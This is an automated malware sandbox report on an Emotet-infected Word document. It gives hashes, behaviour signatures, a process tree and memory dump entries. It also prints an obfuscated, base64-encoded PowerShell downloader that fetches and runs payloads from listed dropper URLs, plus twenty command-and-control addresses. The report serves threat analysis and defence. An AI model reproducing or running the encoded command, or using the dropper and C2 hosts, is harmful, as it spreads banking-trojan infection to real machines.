Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    144s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    25/08/2020, 02:15

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e3_fcd403ce13660e21c77d6e5cfd6eb32afff4ff88ab361a477a25d2fd1bf9ffea_2020-08-25__021441._doc.doc
  • Size 231KB
  • Sample200825-mnfe1fc3mn
  • SHA256 fcd403ce13660e21c77d6e5cfd6eb32afff4ff88ab361a477a25d2fd1bf9ffea
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://mathisprost.lu/wp-admin/EjNkLlwjGEk/
  • exe.dropper

    http://www.mexpresscargo.com/apmbh/uEJLd4i3b12/
  • exe.dropper

    http://facanha.com.br/temp/XVmDFA/
  • exe.dropper

    http://www.dougsuniverse.com/pics/VzC1ngzg67686813/
  • exe.dropper

    http://admvero.com.br/minhaagua/fmeogbIkCT/
  • exe.dropper

    https://itisfuture.com/wp-content/Zg21h52700782/
  • exe.dropper

    https://alameenmission.net/data_backup/fSQiDxHCGysYT/

Extracted

Family

  • emotet

C2

  • 162.249.220.190:80

  • 85.25.207.108:8080

  • 178.128.14.92:8080

  • 50.116.78.109:8080

  • 181.113.229.139:443

  • 192.241.220.183:8080

  • 203.153.216.178:7080

  • 177.32.8.85:80

  • 139.99.157.213:8080

  • 31.146.61.34:80

  • 192.210.217.94:8080

  • 188.251.213.180:443

  • 185.208.226.142:8080

  • 198.57.203.63:8080

  • 220.254.198.228:443

  • 201.213.177.139:80

  • 197.221.158.162:80

  • 95.216.205.155:8080

  • 177.94.227.143:80

  • 115.78.11.155:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_fcd403ce13660e21c77d6e5cfd6eb32afff4ff88ab361a477a25d2fd1bf9ffea_2020-08-25__021441._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1688
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAG8AcwBzADcAegAxAD0AKAAnAFEAJwArACcAZQB1ACcAKwAnAHYAcQBtAHkAJwApADsALgAoACcAbgBlACcAKwAnAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBuAHYAOgBUAGUAbQBQAFwAbwBGAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGAAYwBgAFUAUgBJAHQAYABZAFAAcgBvAHQATwBjAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAxADIALAAnACsAJwAgACcAKwAnAHQAbABzADEAMQAsACcAKwAnACAAdABsAHMAJwApADsAJABYAHMAcwA4AGcAdgA0ACAAPQAgACgAJwBRACcAKwAnAHcAZQA4AHEAZwAnACkAOwAkAFAANgBkADgANgA0ADkAPQAoACcATgByACcAKwAnAHEAagBvAGwAJwArACcANAAnACkAOwAkAE0AcgBmAHEAXwB5ADYAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9ACcAKwAnAE8AZgBmAGkAJwArACcAYwBlACcAKwAnADIAMAAxADkAewAwACcAKwAnAH0AJwApACAAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKwAkAFgAcwBzADgAZwB2ADQAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFUAMgA2ADQANgBlAGsAPQAoACcATwAnACsAJwA2AHAAagB2AHIANwAnACkAOwAkAFcAOQB6AHYAbwB3AHcAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBlAGIAQwBMAGkAZQBuAHQAOwAkAEcAMQBrADQAbQBrADUAPQAoACcAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwBtAGEAdABoAGkAJwArACcAcwBwAHIAbwBzAHQALgBsAHUALwB3AHAALQAnACsAJwBhAGQAbQAnACsAJwBpACcAKwAnAG4AJwArACcALwBFAGoATgBrACcAKwAnAEwAbAB3AGoARwBFAGsALwAqAGgAJwArACcAdAB0AHAAOgAvAC8AdwB3AHcALgBtAGUAeABwAHIAZQBzAHMAYwBhAHIAZwBvACcAKwAnAC4AJwArACcAYwAnACsAJwBvAG0ALwBhAHAAbQBiAGgALwB1AEUASgBMACcAKwAnAGQAJwArACcANABpADMAYgAnACsAJwAxACcAKwAnADIALwAqAGgAdAB0AHAAOgAvACcAKwAnAC8AZgBhAGMAYQBuAGgAJwArACcAYQAnACsAJwAuAGMAbwBtAC4AYgByAC8AdABlACcAKwAnAG0AcAAvAFgAVgBtAEQARgBBACcAKwAnAC8AKgBoAHQAdABwADoALwAvAHcAdwAnACsAJwB3AC4AZABvACcAKwAnAHUAJwArACcAZwBzAHUAbgBpACcAKwAnAHYAJwArACcAZQByAHMAZQAuAGMAbwBtAC8AJwArACcAcABpAGMAcwAvAFYAegBDACcAKwAnADEAbgBnAHoAZwA2ADcANgA4ADYAOAAxADMALwAqACcAKwAnAGgAdAB0AHAAOgAvAC8AYQAnACsAJwBkAG0AdgBlAHIAbwAuAGMAbwBtAC4AJwArACcAYgByACcAKwAnAC8AbQBpAG4AaABhAGEAZwAnACsAJwB1AGEALwAnACsAJwBmAG0AZQBvAGcAYgBJAGsAQwBUAC8AKgBoACcAKwAnAHQAdABwAHMAOgAnACsAJwAvAC8AaQB0ACcAKwAnAGkAJwArACcAcwBmAHUAdAAnACsAJwB1ACcAKwAnAHIAJwArACcAZQAuAGMAbwBtAC8AJwArACcAdwBwAC0AYwBvAG4AdAAnACsAJwBlAG4AdAAvAFoAZwAnACsAJwAyADEAaAAnACsAJwA1ADIANwAwACcAKwAnADAANwA4ADIALwAnACsAJwAqAGgAdAB0AHAAJwArACcAcwAnACsAJwA6ACcAKwAnAC8ALwBhAGwAJwArACcAYQBtACcAKwAnAGUAZQBuAG0AaQBzAHMAaQBvAG4ALgBuAGUAdAAvAGQAYQB0AGEAXwAnACsAJwBiAGEAYwBrAHUAcAAvAGYAJwArACcAUwBRAGkAJwArACcARAB4AEgAQwBHAHkAcwBZAFQALwAnACkALgAiAFMAYABQAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATgBxADgAeQA0ADMANwA9ACgAJwBTAGsAYgAnACsAJwBkAF8AZAAnACsAJwBqACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEMAawA3ADkAMwA1AGwAIABpAG4AIAAkAEcAMQBrADQAbQBrADUAKQB7AHQAcgB5AHsAJABXADkAegB2AG8AdwB3AC4AIgBkAG8AYAB3AE4ATABgAE8AYQBkAGAARgBpAEwARQAiACgAJABDAGsANwA5ADMANQBsACwAIAAkAE0AcgBmAHEAXwB5ADYAKQA7ACQAVgBvAG0AZwB2AG4AZAA9ACgAJwBPAG4AbgBfACcAKwAnAG4AeQAnACsAJwBqACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABNAHIAZgBxAF8AeQA2ACkALgAiAGwAZQBuAGAAZwBUAEgAIgAgAC0AZwBlACAAMgAwADcAMQAyACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawBlAC0AJwArACcASQB0AGUAJwArACcAbQAnACkAKAAkAE0AcgBmAHEAXwB5ADYAKQA7ACQATgAxADAAcABmAHAAYQA9ACgAJwBKAGQAdQBkAGgAJwArACcAMgBxACcAKQA7AGIAcgBlAGEAawA7ACQAUgBwAGcAZgAxAG4AZgA9ACgAJwBMAGQAcAAnACsAJwBwADcAZgAnACsAJwBiACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBzAHMAbgBsAGwAegA9ACgAJwBJAGwAaQBrACcAKwAnAHQAJwArACcAbgBuACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1928
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Qwe8qg.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Qwe8qg.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1832
      • C:\Windows\SysWOW64\WPDSp\KBDUSL.exe
        "C:\Windows\SysWOW64\WPDSp\KBDUSL.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1132

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1132-22-0x0000000000270000-0x000000000027C000-memory.dmp
        Download

        memory/1544-23-0x000007FEF2840000-0x000007FEF2ABA000-memory.dmp
        Download

        memory/1688-3-0x0000000006C70000-0x0000000006E70000-memory.dmp
        Download

        memory/1688-4-0x0000000006C70000-0x0000000006E70000-memory.dmp
        Download

        memory/1688-6-0x000000000AD50000-0x000000000AD54000-memory.dmp
        Download

        memory/1688-2-0x00000000087E0000-0x00000000087E4000-memory.dmp
        Download

        memory/1832-18-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1928-9-0x000007FEF2120000-0x000007FEF2B0C000-memory.dmp
        Download

        memory/1928-15-0x000000001C3E0000-0x000000001C3E1000-memory.dmp
        Download

        memory/1928-14-0x000000001C350000-0x000000001C351000-memory.dmp
        Download

        memory/1928-13-0x0000000001CA0000-0x0000000001CA1000-memory.dmp
        Download

        memory/1928-12-0x0000000001EB0000-0x0000000001EB1000-memory.dmp
        Download

        memory/1928-11-0x000000001ABC0000-0x000000001ABC1000-memory.dmp
        Download

        memory/1928-10-0x0000000001BD0000-0x0000000001BD1000-memory.dmp
        Download